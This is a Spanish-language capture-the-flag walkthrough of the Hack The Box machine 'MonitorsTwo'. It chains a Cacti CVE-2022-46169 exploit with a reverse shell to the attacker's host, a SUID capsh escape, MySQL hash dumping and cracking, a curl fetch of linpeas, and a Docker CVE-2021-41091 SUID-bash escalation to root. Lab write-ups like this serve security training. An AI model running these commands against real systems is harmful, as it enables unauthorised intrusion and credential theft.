MonitorsTwo

nmp

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.211 -oG allports
sudo: unable to resolve host kali: Name or service not known
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-04 00:31 CEST
Initiating SYN Stealth Scan at 00:31
Scanning 10.10.11.211 [65535 ports]
Discovered open port 22/tcp on 10.10.11.211
Discovered open port 80/tcp on 10.10.11.211
Completed SYN Stealth Scan at 00:31, 16.52s elapsed (65535 total ports)
Nmap scan report for 10.10.11.211
Host is up, received user-set (0.16s latency).
Scanned at 2023-07-04 00:31:20 CEST for 16s
Not shown: 65220 closed tcp ports (reset), 313 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.61 seconds
           Raw packets sent: 81551 (3.588MB) | Rcvd: 71920 (2.877MB)


nmap -p22,80 -sCV 10.10.11.211 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-04 00:31 CEST
Nmap scan report for 10.10.11.211
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.96 seconds
```

Visitamos la web y nos encontramos con un panel de login de *Cacti*.

CVE-2022-46169

python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST=10.10.14.71 --LPORT=443

Checking…
The target is vulnerable. Exploiting…
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!

nc -nvlp 443
listening on [any] 443 …
connect to [10.10.14.71] from (UNKNOWN) [10.10.11.211] 50286
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ whoami
whoami
www-data

Miramos los permisos SUID y nos llama la atención el comando *capsh*.

find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/sbin/capsh
/bin/mount
/bin/umount
/bin/bash
/bin/su

Buscamos en GTFOBins y conseguimos **root** en el contenedor.
https://gtfobins.github.io/gtfobins/capsh/

intrusión

cd /

dir
bin dev etc lib media opt root sbin sys usr
boot entrypoint.sh home lib64 mnt proc run srv tmp var

cat entrypoint.sh

```
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE
username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
        set -- apache2-foreground "$@"
fi

exec "$@"
```

Leemos la base de datos y encontramos el hash de la contraseña de un usuario llamado **marcus**.

mysql --host=db --user=root --password=root cacti -e 'select * from user_auth'

```
< --password=root cacti -e 'select * from user_auth'
id      username        password        realm   full_name       email_address   must_change_password
password_changeshow_tree        show_list       show_preview    graph_settings  login_opts      policy_graphs   policy_trees
policy_hosts   policy_graph_templates  enabled lastchange      lastlogin       password_history        locked
failed_attemptslastfail        reset_perms
1       admin   $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC    0       Jamie Thompson
admin@monitorstwo.htb          on      on      on      on      on      2       1       1       1       1       on      -1      -1
-1              0       0       663348655
3       guest   43e9a4ab75570f5b        0       Guest Account           on      on      on      on      on      3     11      1
1       1               -1      -1      -1              0       0       0
4       marcus  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C    0       Marcus Brune
marcus@monitorstwo.htb                 on      on      on      on      1       1       1       1       1       on      -1      -1    on
0       0       2135691668
7       foo     foo     0       Alou Thompson   foo@monitorstwo.htb             on      on      on      on      on    21      1
1       1       on      -1      -1      -1              0       0       663348655
```

#Decrypt hash and get passowrd.
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey

#Got creeds

username → marcus
password → funkymonkey

ssh marcus@10.10.11.211

Pasamos el *linpeas* para intentar encontrar una vía de explotación.
https://raw.githubusercontent.com/Cerbersec/scripts/master/linux/linpeas.sh

curl 10.10.14.71/linpeas.sh -o linpeas.sh
```
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  131k  100  131k    0     0   202k      0 --:--:-- --:--:-- --:--:--  201k
```

```
4721      4 -rw-r--r--    1 root      mail         1809 Oct 18  2021 /var/mail/marcus
    4721      4 -rw-r--r--    1 root      mail         1809 Oct 18  2021 /var/spool/mail/marcus
```

Se trata de un mail en el que hablan de las vulnerabilidades encontradas y que deberían ser arregladas. En nuestro caso nos debemos fijar en la última. Se trata de una vulnerabilidad de *Docker* en la que podemos ejecutar comandos del contenedor en la máquina anfitriona.

```
cd /var/mail/
marcus@monitorstwo:/var/mail$ cat /var/mail/marcus
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

Dear all,

We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.

We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.

Best regards,

Administrator
CISO
Monitor Two
Security Team
```

Debemos antes, encontrar la ruta de los contenedores mediante el comando *findmnt*.

```
                                shm         tmpfs       rw,nosuid,nodev,noexec,relatime,size=65536k
├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
```

En el contenedor, como **root** debemos poner la bash con permisos SUID.

```
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ chmod u+s /bin/bash
chmod: changing permissions of '/bin/bash': Operation not permitted
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ /bin/bash
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ls -l bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 bin/bash
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ bin/bash -p
bash-5.1# cat /root/root.txt
e5742c60cbf0ef14461352ec8dd56940
bash-5.1#
[0] 0:zsh  1:ssh* 2:sudo-                                                                                                    "kali"
01:17 04-Jul-23
```

Y en la máquina principal ejecutamos la bash del contenedor para convertirnos en **root**.